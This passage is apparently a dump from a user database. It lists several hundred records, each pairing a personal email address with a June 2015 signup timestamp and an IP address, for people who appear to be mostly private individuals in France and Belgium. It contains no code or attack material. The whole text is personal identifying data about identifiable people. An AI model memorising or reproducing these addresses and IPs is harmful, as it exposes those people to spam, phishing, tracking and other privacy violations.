17:51:46;95.128.144.71 +11052;florencecosta@laposte.net;2015-06-11 18:06:25;82.127.95.186 +11053;jacques.daniele.heim@orange.fr;2015-06-11 19:11:09;92.140.145.49 +11054;michelle.bouchard@laposte.net;2015-06-11 19:52:20;109.214.95.248 +11055;severinemat@orange.fr;2015-06-11 20:01:40;109.208.232.122 +11056;olivia_cs@hotmail.fr;2015-06-11 20:04:16;89.82.169.192 +11057;danielecornier@voila.fr;2015-06-11 20:32:16;88.181.192.96 +11058;fc619576@skynet.be;2015-06-11 20:52:59;91.177.214.39 +11059;chantal.hedin@live.fr;2015-06-11 21:25:19;88.181.112.189 +11060;patrick.hello@laposte.net;2015-06-11 21:39:45;78.228.128.13 +11061;ericflo63@orange.fr;2015-06-11 21:58:28;176.180.149.210 +11062;gaemmedieusaert@orange.fr;2015-06-11 22:19:16;90.58.58.106 +11063;corinnecoquenet@gmail.com;2015-06-11 22:42:47;86.67.130.225 +11064;isabelle.lf@sfr.fr;2015-06-11 22:44:37;90.26.212.94 +11065;virg.wambre@hotmail.fr;2015-06-11 23:07:01;78.218.64.115 +11066;soli.mael@gmail.com;2015-06-12 00:00:45;194.51.141.141 +11067;murielle.prigent@hotmail.fr;2015-06-12 02:18:21;83.197.87.82 +11068;2863806058@qq.com;2015-06-12 03:17:23;107.178.195.211 +11069;martin085@orange.vr;2015-06-12 09:37:47;2.0.84.105 +11070;daniel.poiraudeau@orange.fr;2015-06-12 09:51:06;86.235.237.82 +11071;naty_65@hotmail.fr;2015-06-12 10:39:26;92.95.91.55 +11072;jonana24@hotmail.com;2015-06-12 10:56:38;82.240.9.4 +11073;sandra.pl@orange.fr;2015-06-12 11:14:53;86.211.97.176 +11074;martine.negrel25@gmail.com;2015-06-12 12:13:16;195.36.134.119 +11075;demeillez@yahoo.fr;2015-06-12 12:54:14;41.213.164.169 +11076;sophie_dondel@yahoo.fr;2015-06-12 13:21:54;87.255.133.212 +11077;brigitteleb@free.fr;2015-06-12 13:56:18;78.198.26.142 +11078;upsss___@hotmail.fr;2015-06-12 14:12:56;90.22.22.54 +11079;clubiste2@yahoo.fr;2015-06-12 14:17:00;81.68.86.64 +11080;caroleamar@sfr.fr;2015-06-12 14:17:21;93.31.42.118 +11081;saleix@free.fr;2015-06-12 14:19:19;80.215.202.92 +11082;pikidou@free.fr;2015-06-12 14:28:03;80.13.227.64 +11083;mel.bala@live.fr;2015-06-12 14:28:27;62.129.14.18 +11084;aurelia2812@hotmail.fr;2015-06-12 14:34:29;37.165.101.234 +11085;Maryem_oc@hotmail.com;2015-06-12 14:41:49;79.94.75.34 +11086;wyborowa21@sfr.fr;2015-06-12 14:52:45;82.120.30.174 +11087;Dedel.antonin@hotmail.fr;2015-06-12 15:13:18;80.215.204.80 +11088;laetitia.trigo@gmail.com;2015-06-12 15:19:23;176.179.244.236 +11089;armande83@free.fr;2015-06-12 15:46:16;86.219.80.156 +11090;josianebottet@gmail.com;2015-06-12 15:48:48;90.15.57.86 +11091;sebanne1@hotmail.fr;2015-06-12 16:10:33;87.91.230.67 +11092;c.giessinger@hotmail.fr;2015-06-12 16:13:41;90.54.249.115 +11093;catcandau40@orange.fr;2015-06-12 16:32:04;90.30.63.180 +11094;ma-ika71@hotmail.fr;2015-06-12 16:36:35;88.167.241.147 +11095;isamal71@hotmail.fr;2015-06-12 16:36:49;88.167.241.147 +11096;malika.benyoucef@neuf.fr;2015-06-12 16:36:58;88.167.241.147 +11097;s.lefustec@laposte.net;2015-06-12 17:30:19;31.32.131.223 +11098;bea.lorenzato@orange.fr;2015-06-12 17:32:31;81.251.143.98 +11099;christine.roig@hotmtail.fr;2015-06-12 17:45:01;90.30.174.71 +11100;danyvalence@gmail.com;2015-06-12 17:46:32;77.128.220.240 +11101;jelany2010@yahoo.ca;2015-06-12 18:03:28;77.151.14.105 +11102;Sart87@hotmail.com;2015-06-12 18:18:47;81.245.63.13 +11103;marine-garcia@sfr.fr;2015-06-12 18:46:38;89.84.69.51 +11104;aldrea66@yahoo.fr;2015-06-12 18:47:33;78.205.170.30 +11105;brice-lae@hotmail.fr;2015-06-12 18:56:37;92.133.128.82 +11106;ymenuet@sfr.fr;2015-06-12 21:11:02;93.23.156.148 +11107;mariereg@icloud.com;2015-06-12 21:15:11;78.240.181.9 +11108;barbara.martinetto@orange.fr;2015-06-12 21:36:53;92.129.193.43 +11109;cath-4-@hotmail.fr;2015-06-12 21:37:55;92.148.201.64 +11110;dsemmaf@hotmail.fr;2015-06-12 22:06:22;93.19.33.91 +11111;e.danckaert@naturex.com;2015-06-12 22:27:54;78.248.60.63 +11112;florence290@live.fr;2015-06-12 22:46:27;77.146.91.79 +11113;syllegrand@wanadoo.fr;2015-06-12 23:56:24;83.196.198.42 +11114;anais.bure@free.fr;2015-06-13 01:42:32;82.241.73.87 +11115;afidaturner@yahoo.com;2015-06-13 03:21:35;108.80.77.95 +11116;zombanais@laposte.net;2015-06-13 06:21:46;92.188.0.27 +11117;gene.legrain@gmail.com;2015-06-13 07:14:31;81.240.107.238 +11118;ebkutia@free.fr;2015-06-13 08:21:31;88.169.17.221 +11119;francoise.la&urent99@sfr.fr;2015-06-13 08:42:12;93.5.56.123 +11120;bizet.marcel@neuf.fr;2015-06-13 09:00:23;78.227.53.10 +11121;patriciachaumont@free.fr;2015-06-13 09:46:42;78.223.184.105 +11122;sandrine.buffet53@gmail.com;2015-06-13 11:38:00;93.1.228.80 +11123;claudine.ouchene@orange.fr;2015-06-13 11:51:47;83.199.241.2 +11124;mbdollat@gmail.com;2015-06-13 12:38:21;88.183.47.179 +11125;hlne.boizeau@gmail.com;2015-06-13 14:01:08;109.31.171.176 +11126;line.baldini@orange.fr;2015-06-13 14:38:44;90.8.245.242 +11127;christine.maridor@sfr.fr;2015-06-13 15:33:06;145.232.230.254 +11128;isa.kurman@orange.fr;2015-06-13 15:46:32;81.250.180.99 +11129;bbourgeois2@hotmail.fr;2015-06-13 15:56:07;88.183.26.148 +11130;nathalietournier@yahoo.fr;2015-06-13 16:59:54;88.174.49.224 +11131;maithe.canadas@bbox.fr;2015-06-13 17:38:16;89.94.57.87 +11132;audrey.lelias@laposte.net;2015-06-13 18:18:31;85.1.203.206 +11133;j.vrignaud@wanadoo.fr;2015-06-13 18:33:23;90.25.230.206 +11134;agabrillagues@yahoo.fr;2015-06-13 18:53:54;89.156.28.12 +11135;joellehardouin@sfr.fr;2015-06-13 21:24:04;77.145.128.179 +11136;klrm@hotmail.fr;2015-06-13 21:59:56;88.174.23.32 +11137;illusia@hotmail.fr;2015-06-13 22:41:27;89.88.192.69 +11138;celinevaltonburgat@gmail.com;2015-06-13 22:45:33;88.163.52.214 +11139;amandetosca@orange.fr;2015-06-13 22:54:15;90.17.179.144 +11140;ajudaique@live.fr;2015-06-13 23:54:19;87.88.40.196 +11141;marieclic@msn.com;2015-06-13 23:54:55;83.134.39.29 +11142;e.parmentier601@laposte.net;2015-06-14 00:17:03;80.12.63.39 +11143;helene.zelisko@yahoo.fr;2015-06-14 01:34:38;81.250.81.196 +11144;dominique.caballero@voila.fr;2015-06-14 07:21:38;92.129.241.141 +11145;h.bejaud@gmail.com;2015-06-14 08:54:12;77.193.65.140 +11146;mnl15@orange.fr;2015-06-14 09:44:29;90.9.224.123 +11147;giraudlaurence@neuf.fr;2015-06-14 10:32:47;90.17.41.22 +11148;muranko.agnieszka@club-internet.fr;2015-06-14 10:38:58;176.187.222.136 +11149;saillard.brigitte@wanadoo.fr;2015-06-14 10:52:48;5.48.57.193 +11150;desri.goodwin@gmail.com;2015-06-14 10:54:20;86.221.95.49 +11151;helene@zoulay.com;2015-06-14 10:57:30;86.70.94.10 +11152;mbteam@sfr.fr;2015-06-14 12:33:19;86.68.22.227 +11153;pilonelodie@yahoo.fr;2015-06-14 13:09:48;90.53.195.213 +11154;dielo24@hotmail.fr;2015-06-14 13:34:57;5.50.211.198 +11155;jessy.p@cegetel.net;2015-06-14 14:04:59;88.163.57.52 +11156;annevlad@orange.fr;2015-06-14 14:24:53;2.10.116.37 +11157;emmanuelleprido@orange.fr;2015-06-14 14:30:04;2.10.157.252 +11158;aline.deprun@laposte.net;2015-06-14 14:53:01;92.161.41.242 +11159;mk2610@live.fr;2015-06-14 15:12:18;82.235.50.4 +11160;boyeuxx@hotmail.fr;2015-06-14 15:27:53;194.254.133.2 +11161;sylvie.gonthier20@orange.fr;2015-06-14 15:31:24;92.157.173.219 +11162;magalidelarbre23@gmail.com;2015-06-14 16:32:20;88.168.13.123 +11163;marti_net@hotmail.fr;2015-06-14 16:36:04;90.3.90.216 +11164;carole.martin27@wanadoo.fr;2015-06-14 16:46:57;82.123.66.62 +11165;cathyg83@orange.fr;2015-06-14 17:13:26;212.198.121.173 +11166;djenergie30@gmail.com;2015-06-14 17:21:36;88.6.135.200 +11167;jmmedina_es@yahoo.es;2015-06-14 17:27:26;87.217.234.18 +11168;davinapinelli@gmail.com;2015-06-14 17:30:02;77.132.31.49 +11169;besancon.michel@orange.fr;2015-06-14 17:56:59;83.196.45.3 +11170;aud3110@hotmail.fr;2015-06-14 18:21:47;82.224.102.49 +11171;osonasalut@gmail.com;2015-06-14 20:10:54;95.122.73.48 +11172;corinne.branchu@bbox.fr;2015-06-14 20:47:38;176.183.167.174 +11173;joel.laforge@wanadoo.fr;2015-06-14 20:53:49;92.147.22.176 +11174;helmondaine@gmail.com;2015-06-14 20:53:53;176.187.198.112 +11175;joraipad@gmail.com;2015-06-14 21:05:59;78.209.38.159 +11176;christellemzo@aol.com;2015-06-14 21:27:18;77.84.119.100 +11177;bbcatherinebb@gmail.com;2015-06-14 22:07:23;109.203.236.178 +11178;dlordereau@gmail.com;2015-06-14 22:23:05;82.120.77.176 +11179;guilletlucile89@gmail.fr;2015-06-14 22:24:25;81.249.239.163 +11180;josette.saintmarc@aol.fr;2015-06-14 22:54:59;93.16.78.66 +11181;lilirosest@orange.fr;2015-06-15 00:36:09;86.192.224.97 +11182;chuss84@gmail.com;2015-06-15 09:26:16;83.112.183.234 +11183;terrangabaobab@gmail.com;2015-06-15 09:30:42;79.83.23.40 +11184;areaux@mova-group.fr;2015-06-15 09:45:51;90.7.183.249 +11185;louise.garcia2@wanadoo.fr;2015-06-15 09:46:45;80.12.155.46 +11186;delphine@izaneo.com;2015-06-15 10:32:24;80.15.46.69 +11187;cristianarose@orange.fr;2015-06-15 11:57:18;92.145.113.61 +11188;marlenebouveron@free.fr;2015-06-15 12:33:14;77.158.24.248 +11189;maga-lie@hotmail.fr;2015-06-15 13:26:28;86.222.206.197 +11190;virginie2706@icloud.com;2015-06-15 14:44:58;90.13.208.224 +11191;severine.bourjot@hotmail.fr;2015-06-15 16:17:03;80.12.63.24 +11192;rosamja@orange.fr;2015-06-15 16:30:13;83.198.96.243 +11193;marie.collot11@yahoo.fr;2015-06-15 17:01:36;82.236.124.206 +11194;genevieve.liang@sfr.fr;2015-06-15 17:50:05;79.92.192.114 +11195;patlefort@numericable.fr;2015-06-15 18:37:29;85.68.230.219 +11196;luc.brimeur@orange.fr;2015-06-15 18:48:47;86.235.119.130 +11197;396289398@qq.com;2015-06-15 19:15:40;82.224.222.146 +11198;catalaisabelle@gmail.com;2015-06-15 19:43:26;88.127.220.41 +11199;chanite.marie@hotmail.fr;2015-06-15 19:55:18;78.219.155.84 +11200;kipoza@videotron.ca;2015-06-15 20:43:42;74.56.41.181 +11201;christelle.salsa@aliceadsl.fr;2015-06-15 21:00:13;79.86.36.89 +11202;dominique.le-velly@wanadoo.fr;2015-06-15 21:01:29;2.2.30.117 +11203;morand.odile@club-internet.fr;2015-06-15 21:23:17;93.8.57.219 +11204;m-cguerin@hotmail.fr;2015-06-15 22:31:09;86.212.2.116 +11205;yanikbea@icloud.com;2015-06-16 01:39:17;175.158.179.194 +11206;marielabry@laposte.net;2015-06-16 07:45:06;89.86.199.11 +11207;ligourette@hotmail.com;2015-06-16 08:18:51;86.215.217.51 +11208;Margiotta@yahoo.com;2015-06-16 08:25:36;46.246.63.171 +11209;dorothee.lefranc@orange.fr;2015-06-16 08:55:42;109.26.139.181 +11210;danicollin@free.fr;2015-06-16 09:58:52;88.179.50.214 +11211;emmanuellehoudant@orange.fr;2015-06-16 10:08:10;91.199.234.220 +11212;nath.prudor@laposte.net;2015-06-16 10:23:59;77.132.208.116 +11213;vpozo@sfr.fr;2015-06-16 10:50:50;92.94.194.100 +11214;brigittefrancou@hotmail.fr;2015-06-16 12:21:20;2.6.169.203 +11215;info@briards.fr;2015-06-16 13:11:34;90.19.37.145 +11216;mclagadic@orange.fr;2015-06-16 13:28:00;109.212.52.162 +11217;viviane.hapipi@aol.fr;2015-06-16 13:41:38;90.38.134.207 +11218;cecile.delaporte3@wanadoo.fr;2015-06-16 13:57:59;89.185.38.128 +11219;vanessa.busuito96@gmail.com;2015-06-16 14:16:01;194.187.114.1 +11220;dp.christine@orange.fr;2015-06-16 14:26:08;81.251.127.131 +11221;sandrine.soulignac@laposte.net;2015-06-16 15:26:52;213.56.145.149 +11222;pierchrispoulain@yahoo.fr;2015-06-16 15:27:36;80.12.39.62 +11223;dianoub@gmail.com;2015-06-16 15:41:09;46.218.239.98 +11224;katty.daix@hotmail.com;2015-06-16 16:00:48;87.65.177.176 +11225;0616127645@sfr.fr;2015-06-16 16:10:49;88.187.65.103 +11226;steph.oberle@gmail.com;2015-06-16 16:12:05;46.218.10.76 +11227;christel.magnier@sfr.fr;2015-06-16 16:51:00;89.87.189.177 +11228;mphibel@gde-guadeloupe.com;2015-06-16 18:53:46;5.187.103.249 +11229;frederique.duâs@gmail.com;2015-06-16 20:08:43;109.22.130.194 +11230;frederique.dupas@gmail.com;2015-06-16 20:10:01;109.22.130.194 +11231;gentle.lullaby@hotmail.fr;2015-06-16 20:26:07;81.66.26.76 +11232;patricia.vandermueren@gmail.com;2015-06-16 20:59:57;80.201.46.241 +11233;LOULOU_CASSIS@HOTMAIL.com;2015-06-16 21:10:03;173.220.28.107 +11234;marion_carre@orange.fr;2015-06-16 23:14:45;90.54.239.165 +11235;veronique.leclainche@orange.fr;2015-06-17 01:04:26;82.120.133.132 +11236;isabelle.pothet@gmail.com;2015-06-17 06:58:53;84.7.135.102 +11237;fannylaurab@hotmail.fr;2015-06-17 08:31:29;88.169.246.211 +11238;frederic.voizeux@orange.fr;2015-06-17 08:50:14;81.252.24.211 +11239;carole.chauvet2006@orange.fr;2015-06-17 09:25:58;90.34.54.57 +11240;mauricette16@sfr.fr;2015-06-17 09:53:15;195.83.235.214 +11241;fannymonniervola@hotmail.com;2015-06-17 11:46:17;80.14.122.184 +11242;estelle-pellerin@hotmail.fr;2015-06-17 12:19:26;90.35.237.27 +11243;sandyzart@hotmail.fr;2015-06-17 12:38:55;89.83.176.209 +11244;sandrinepetit68@yahoo.fr;2015-06-17 12:58:19;109.218.206.14 +11245;mt.tardy@orange.fr;2015-06-17 13:40:27;90.5.91.159 +11246;lamarjo.7@hotmail.fr;2015-06-17 14:56:00;89.90.191.91 +11247;corinnes.seuve@yahoo.fr;2015-06-17 15:26:13;109.2.84.50 +11248;peggy.laperlier@dbmail.com;2015-06-17 16:18:11;89.92.130.254 +11249;danyelle.bourionschaller@laposte.net;2015-06-17 16:30:47;78.122.192.251 +11250;camille-bernard@laposte.net;2015-06-17 16:49:36;81.246.30.26 +11251;lallard62@aol.com;2015-06-17 17:50:56;78.237.8.88 +11252;cocolune06@hotmail.com;2015-06-17 20:09:27;81.245.215.196 +11253;tortillaflat88@hotmail.com;2015-06-17 21:15:17;80.201.82.246 +11254;claudine.alligier@orange.fr;2015-06-17 21:21:09;109.13.248.204 +11255;Laetitia.laumet@orange.fr;2015-06-17 21:30:15;88.162.141.98 +11256;justine.m.leclerc@gmail.com;2015-06-17 22:15:57;109.9.117.42 +11257;emie47@hotmail.fr;2015-06-17 22:38:36;2.6.114.203 +11258;fanfan62800@gmail.com;2015-06-17 22:52:21;213.245.70.240 +11259;lakkako@yahoo.com;2015-06-18 00:06:33;78.231.127.76 +11260;Gchristinenana@aol.com;2015-06-18 00:31:42;84.102.166.140 +11261;fanny.fe@wanadoo.fr;2015-06-18 08:10:22;83.201.180.177 +11262;digeonso@yahoo.fr;2015-06-18 09:47:39;194.3.103.60 +11263;christine.decline@gmail.com;2015-06-18 09:58:15;77.150.128.39 +11264;dominique.desport@sfr.fr;2015-06-18 11:15:13;193.251.24.195 +11265;muscat295@gmail.com;2015-06-18 12:43:10;86.7.254.189 +11266;anagnosa@otenet.gr;2015-06-18 12:49:48;85.72.194.239 +11267;rosemarie.lasala16@gmail.com;2015-06-18 12:59:48;84.100.161.190 +11268;france.vernet@free.fr;2015-06-18 13:30:10;82.237.70.70 +11269;Chantal.cloesen@outlook.be;2015-06-18 13:45:07;84.192.131.225 +11270;anaisjune.didier@gmail.com;2015-06-18 14:00:51;109.217.133.157 +11271;isabel_tavernier@yahoo.fr;2015-06-18 14:05:33;78.240.39.238 +11272;nat.fernandes95@gmail.com;2015-06-18 14:17:00;217.128.71.97 +11273;carriol.chrystelle@orange.fr;2015-06-18 14:47:49;86.222.31.65 +11274;eva2411@hotmail.com;2015-06-18 14:53:25;85.69.103.3 +11275;potier.bruno@sfr.fr;2015-06-18 15:08:44;90.4.211.111 +11276;odile.rib@gmail.com;2015-06-18 15:34:34;92.89.60.221 +11277;mpguy@free.fr;2015-06-18 16:23:00;80.12.55.139 +11278;yeubleu@outlook.com;2015-06-18 16:47:14;87.240.71.9 +11279;patricia.fleurance@sfr.fr;2015-06-18 17:26:43;78.233.48.102 +11280;anna.pecado@gmail.com;2015-06-18 17:42:54;109.6.102.165 +11281;anniefromentin13@yahoo.fr;2015-06-18 17:57:01;82.66.194.22 +11282;sandrine.nefoussi@hotmail.fr;2015-06-18 18:08:26;88.183.254.142 +11283;daniel.pradayrol@free.fr;2015-06-18 18:10:10;81.57.119.226 +11284;sarouss59@gmail.com;2015-06-18 18:39:32;83.198.49.141 +11285;clo.menard@gmail.com;2015-06-18 19:50:12;88.136.69.182 +11286;margauxbattello@gmail.com;2015-06-18 20:08:37;93.31.196.253 +11287;mmariefontana@gmail.com;2015-06-18 21:23:25;90.96.108.131 +11288;elodie.desormiere@gmail.com;2015-06-18 21:39:00;82.224.130.117 +11289;boniscatherine@aol.com;2015-06-18 21:47:03;88.142.11.15 +11290;marie_celine.pierre@yahoo.fr;2015-06-18 21:49:18;86.219.137.105 +11291;eleonore.jacquin@yahoo.fr;2015-06-18 22:01:13;88.122.128.130 +11292;karina-olivier@hotmail.fr;2015-06-18 22:01:20;77.148.182.9 +11293;f.grange63@orange.fr;2015-06-18 22:04:35;92.153.38.49 +11294;mpdubarry@gmail.com;2015-06-18 22:18:14;78.119.27.55 +11295;alpo1@hoymail.fr;2015-06-18 22:39:49;86.210.120.243 +11296;lea.1.frite@otmail.fr;2015-06-18 22:46:29;176.185.32.142 +11297;toftelle@hotmail.com;2015-06-18 22:59:05;82.248.10.218 +11298;magali_pignol@hotmail.com;2015-06-18 23:26:30;81.57.60.94 +11299;mariecop@orange.fr;2015-06-18 23:40:42;90.26.218.78 +11300;draghi_francoise@yahoo.fr;2015-06-18 23:46:31;77.128.53.7 +11301;s.melanie@free.fr;2015-06-19 00:46:22;80.14.168.207 +11302;banapalau@hotmail.fr;2015-06-19 08:17:01;92.153.153.55 +11303;chantalboissiere@hotmail.fr;2015-06-19 08:19:57;62.34.166.93 +11304;devillechristine@orange.fr;2015-06-19 08:25:14;90.52.151.176 +11305;chloe.taranto@gmail.com;2015-06-19 08:47:45;93.32.172.245 +11306;p.letzelter@free.fr;2015-06-19 08:58:07;78.226.93.101 +11307;beethoven.mozart@orange.fr;2015-06-19 09:00:47;81.250.136.68 +11308;muriel-hajek@sermes.fr;2015-06-19 09:13:47;109.221.94.129 +11309;brigitarnould@free.fr;2015-06-19 09:19:04;82.231.110.46 +11310;m.calet@orange.fr;2015-06-19 10:03:18;90.28.186.149 +11311;k.ballaz@laposte.net;2015-06-19 10:24:52;88.169.135.100 +11312;irene.halkovich@gmail.com;2015-06-19 10:28:11;213.44.113.12 +11313;famillelegrand1@live.fr;2015-06-19 10:31:34;2.9.175.235 +11314;chrisisak@orange.fr;2015-06-19 10:32:06;2.9.175.235 +11315;blais.eva@neuf.fr;2015-06-19 10:37:29;194.8.148.143 +11316;ph.burtin@gmail.com;2015-06-19 10:47:24;82.120.213.98 +11317;arlette.maciak@sfr.fr;2015-06-19 11:36:18;88.136.105.179 +11318;moniquekodsi@hotmail.com;2015-06-19 12:06:59;90.83.255.123 +11319;hviandier@gmail.com;2015-06-19 12:30:35;176.190.202.249 +11320;bonneviev@msn.com;2015-06-19 13:39:17;78.213.112.18 +11321;sophie.perrier4@orange.fr;2015-06-19 13:39:59;90.28.167.159 +11322;yeyepeaceandlove@hotmail.fr;2015-06-19 13:59:17;88.138.194.249 +11323;xavier.mares@orange.fr;2015-06-19 14:35:38;2.13.35.146 +11324;myriamol@hotmail.fr;2015-06-19 14:55:36;92.145.245.54 +11325;joelleisaacjoelle@gmail.com;2015-06-19 15:30:50;93.17.232.254 +11326;margo.lonc@laposte.net;2015-06-19 15:31:16;109.190.207.168 +11327;srnfgr@gmail.com;2015-06-19 15:34:51;79.81.204.110 +11328;ann.libotte@gmail.com;2015-06-19 15:47:36;81.247.225.125 +11329;mariec.aubrit@orange.fr;2015-06-19 15:56:17;109.211.75.62 +11330;judith_carvalho@yahoo.fr;2015-06-19 16:40:12;62.161.170.81 +11331;tarletisa@hotmail.fr;2015-06-19 17:24:11;84.6.122.30 +11332;sylviepraudma@sfr.fr;2015-06-19 18:05:04;77.194.63.114 +11333;catherine.chosserie@gmail.com;2015-06-19 18:18:57;78.204.165.60 +11334;isa-ron@hotmail.fr;2015-06-19 18:35:02;77.195.81.93 +11335;antoine.doutre@orange.fr;2015-06-19 20:03:04;82.235.130.5 +11336;toutouille699@hotmail.com;2015-06-19 20:08:06;31.39.58.144 +11337;cwoussen@gmail.com;2015-06-19 21:14:55;89.85.118.189 +11338;sanja11316@gmail.com;2015-06-19 21:38:01;128.78.21.222 +11339;cpacha@neuf.fr;2015-06-19 23:21:11;88.140.10.26 +11340;mirentxu.bezos@gmail.com;2015-06-19 23:24:51;178.82.23.154 +11341;originaldardar@hotmail.fr;2015-06-20 01:49:28;109.62.18.47 +11342;audelliah@hotmail.fr;2015-06-20 07:10:00;83.157.248.177 +11343;eric.holl502@orange.fr;2015-06-20 07:53:02;90.53.206.141 +11344;jc.guenegou@orange.fr;2015-06-20 08:05:55;81.50.216.67 +11345;vero.ambert@gmail.com;2015-06-20 08:23:20;77.128.162.182 +11346;nathali.ottaviani@wanadoo.fr;2015-06-20 08:28:38;109.208.254.135 +11347;jkvmail@gmail.com;2015-06-20 08:51:46;78.207.164.5 +11348;on.crea.le.loin@hotmail.fr;2015-06-20 09:40:22;92.162.217.46 +11349;clavonad@free.fr;2015-06-20 09:47:31;88.169.41.70 +11350;alex-997@hotmail.fr;2015-06-20 09:51:02;78.236.242.117 +11351;evamariora@gmail.com;2015-06-20 14:14:11;84.5.253.23 +11352;lecontema@aol.com;2015-06-20 14:32:05;92.148.6.76 +11353;patounetanger@gmail.com;2015-06-20 14:39:00;41.142.93.39 +11354;valerie.vanossel@gmail.com;2015-06-20 14:44:16;85.28.100.51 +11355;poulhon.vivian@live.fr;2015-06-20 15:13:46;78.249.104.54 +11356;l-ilo789@live.fr;2015-06-20 15:54:48;86.206.89.214 +11357;oseille19@hotmail.fr;2015-06-20 16:46:21;92.162.197.31 +11358;fleurdelys296@hotmail.com;2015-06-20 18:27:35;78.113.188.236 +11359;reymariececile16@gmail.com;2015-06-20 18:29:43;109.27.107.120 +11360;gfr73@hotmail.fr;2015-06-20 18:33:10;80.9.182.109 +11361;atelierdemarie@outlook.fr;2015-06-20 18:33:14;89.84.224.42 +11362;joanne.toulouse@gmail.com;2015-06-20 18:41:50;82.235.140.149 +11363;faty1214@yahoo.fr;2015-06-20 19:00:52;88.185.5.239 +11364;marinedurot@yahoo.fr;2015-06-20 19:18:49;92.131.245.225 +11365;cfdemr@gmail.com;2015-06-20 19:24:47;82.239.17.232 +11366;riverquat@gmail.com;2015-06-20 21:00:32;31.32.168.81 +11367;cecilemattei@free.fr;2015-06-20 21:03:12;88.163.255.95 +11368;helenesarah@yahoo.fr;2015-06-20 21:03:49;86.197.105.155 +11369;Boudet.piallat@neuf.fr;2015-06-20 21:20:15;93.28.0.201 +11370;tina.celestina@hotmail.fr;2015-06-20 21:32:32;89.94.132.76 +11371;gthsnd@gmail.com;2015-06-20 21:34:54;149.154.231.229 +11372;sacha74@aol.com;2015-06-20 21:52:19;88.137.86.34 +11373;gisca@orange.fr;2015-06-20 22:02:17;84.5.133.225 +11374;mbalichard@sfr.fr;2015-06-20 22:19:22;93.30.69.154 +11375;rhamrilila@gmail.com;2015-06-21 01:31:11;82.67.90.34 +11376;Alexandra.m.cohen@gmail.com;2015-06-21 04:16:01;89.3.186.69 +11377;sylvie.lesentier@sfr.fr;2015-06-21 08:02:40;109.16.226.172 +11378;gueguenv@orange.fr;2015-06-21 08:41:33;86.222.87.101 +11379;dominique.hilary@laposte.net;2015-06-21 09:01:33;90.37.8.171 +11380;bechatu39@hotmail.fr;2015-06-21 09:04:29;92.138.142.13 +11381;duriezbe@sfr.fr;2015-06-21 10:03:30;84.101.253.72 +11382;jeanluc_laurence@orange.fr;2015-06-21 10:05:55;90.33.116.165 +11383;claire-salvi@orange.fr;2015-06-21 10:21:47;92.130.44.122 +11384;catherine.cardon@laposte.net;2015-06-21 10:27:54;90.40.153.81 +11385;cale.d@laposte.net;2015-06-21 10:42:38;90.39.4.28 +11386;beatrix.pasquier@free.fr;2015-06-21 11:07:42;88.168.204.204 +11387;amelie.linant@free.fr;2015-06-21 11:33:44;78.222.85.89 +11388;stephanie.schwab@laposte.net;2015-06-21 11:43:13;109.217.136.95 +11389;sar-aahx@hotmail.fr;2015-06-21 13:01:35;90.34.151.66 +11390;perrine_pinvin@orange.fr;2015-06-21 13:27:10;109.9.20.9 +11391;pharmaciedemilune@gmail.com;2015-06-21 13:37:23;90.60.143.136 +11392;pharmaciecavalier@hotmail.com;2015-06-21 13:38:32;85.26.2.154 +11393;mazurier.anita@hotmail.fr;2015-06-21 13:49:10;176.184.35.127 +11394;mmcaron@hotmail.fr;2015-06-21 13:53:38;77.198.66.185 +11395;NEUReneN@aol.com;2015-06-21 14:05:34;79.80.6.165 +11396;vdpc.51@orange.fr;2015-06-21 14:05:55;92.155.131.59 +11397;sylviebosc12@orange.fr;2015-06-21 14:27:40;62.193.40.170 +11398;cyrille_tristant@yahoo.fr;2015-06-21 14:35:36;77.194.117.18 +11399;laetitia.bonneville@icloud.com;2015-06-21 14:46:31;90.24.13.230 +11400;del_simon@hotmail.com;2015-06-21 14:51:52;88.161.99.247 +11401;dorisjeanroy@yahoo.fr;2015-06-21 15:12:43;176.153.128.19 +11402;missbaskerville@laposte.net;2015-06-21 15:37:24;79.95.218.97 +11403;royemmanuelle@orange.fr;2015-06-21 15:56:20;109.218.60.156 +11404;audrey.nifenecker@gmail.com;2015-06-21 17:01:58;88.179.152.40 +11405;cecile.foch@sfr.fr;2015-06-21 17:58:41;78.245.90.180 +11406;aude.bourga-blavier@orange.fr;2015-06-21 17:59:27;86.228.48.163 +11407;dominique.rakoto@wanadoo.fr;2015-06-21 18:09:28;83.198.67.186 +11408;lys.severine@gmail.com;2015-06-21 18:15:31;82.238.100.178 +11409;flomathis@voila.fr;2015-06-21 18:20:28;81.56.81.134 +11410;daniellerouge27@gmail.com;2015-06-21 18:33:12;2.6.222.78 +11411;i.bardin@free.fr;2015-06-21 18:36:38;88.176.241.88 +11412;christine.lignot@dbmail.com;2015-06-21 19:01:56;79.83.23.251 +11413;anne.lyoen@gmail.com;2015-06-21 19:33:48;88.182.89.219 +11414;g.dimitropoulo@gmail.com;2015-06-21 19:52:00;88.187.94.49 +11415;anne.eichenlaub@orange.fr;2015-06-21 20:10:11;2.4.182.228 +11416;sweetsuiteki@gmail.com;2015-06-21 20:13:41;176.183.120.121 +11417;marinevion11@gmail.com;2015-06-21 20:14:51;90.18.142.94 +11418;saenenariane@gmail.com;2015-06-21 20:16:45;109.88.141.125 +11419;marjorie.attard@gmail.com;2015-06-21 20:49:40;90.31.110.126 +11420;sderidder@free.fr;2015-06-21 21:47:18;82.229.179.148 +11421;justine.rapine@live.fr;2015-06-21 21:48:51;82.232.200.176 +11422;angele.sipiere@free.fr;2015-06-21 22:28:11;89.84.178.165 +11423;mireille.moulin0514@orange.fr;2015-06-21 23:24:40;90.20.22.220 +11424;berryja@wanadoo.fr;2015-06-22 00:34:25;81.249.127.151 +11425;i.ortega@wanadoo.fr;2015-06-22 07:57:43;109.222.8.222 +11426;colcol06@hotmail.fr;2015-06-22 09:13:11;86.203.167.37 +11427;melem76@hotmail.fr;2015-06-22 10:10:22;176.187.40.76 +11428;joyce.roudales@hotmail.fr;2015-06-22 10:24:14;79.84.108.132 +11429;dcline38@hotmail.com;2015-06-22 10:46:16;90.0.33.228 +11430;maylen14@hotmail.fr;2015-06-22 11:01:54;92.151.41.223 +11431;louis.alliet@orange.fr;2015-06-22 12:01:31;81.48.60.167 +11432;delphine.hercend@free.fr;2015-06-22 12:02:48;82.127.160.108 +11433;rvezian@aol.com;2015-06-22 12:20:15;217.128.202.242 +11434;nanous4@hotmail.fr;2015-06-22 12:23:18;83.199.68.40 +11435;jmtks@orange.fr;2015-06-22 12:38:19;90.0.158.172 +11436;alexandra.monnot@hotmail.fr;2015-06-22 13:22:56;88.184.200.201 +11437;christelplancher@yahoo.fr;2015-06-22 13:26:25;46.218.70.58 +11438;desmet-familly@hotmail.com;2015-06-22 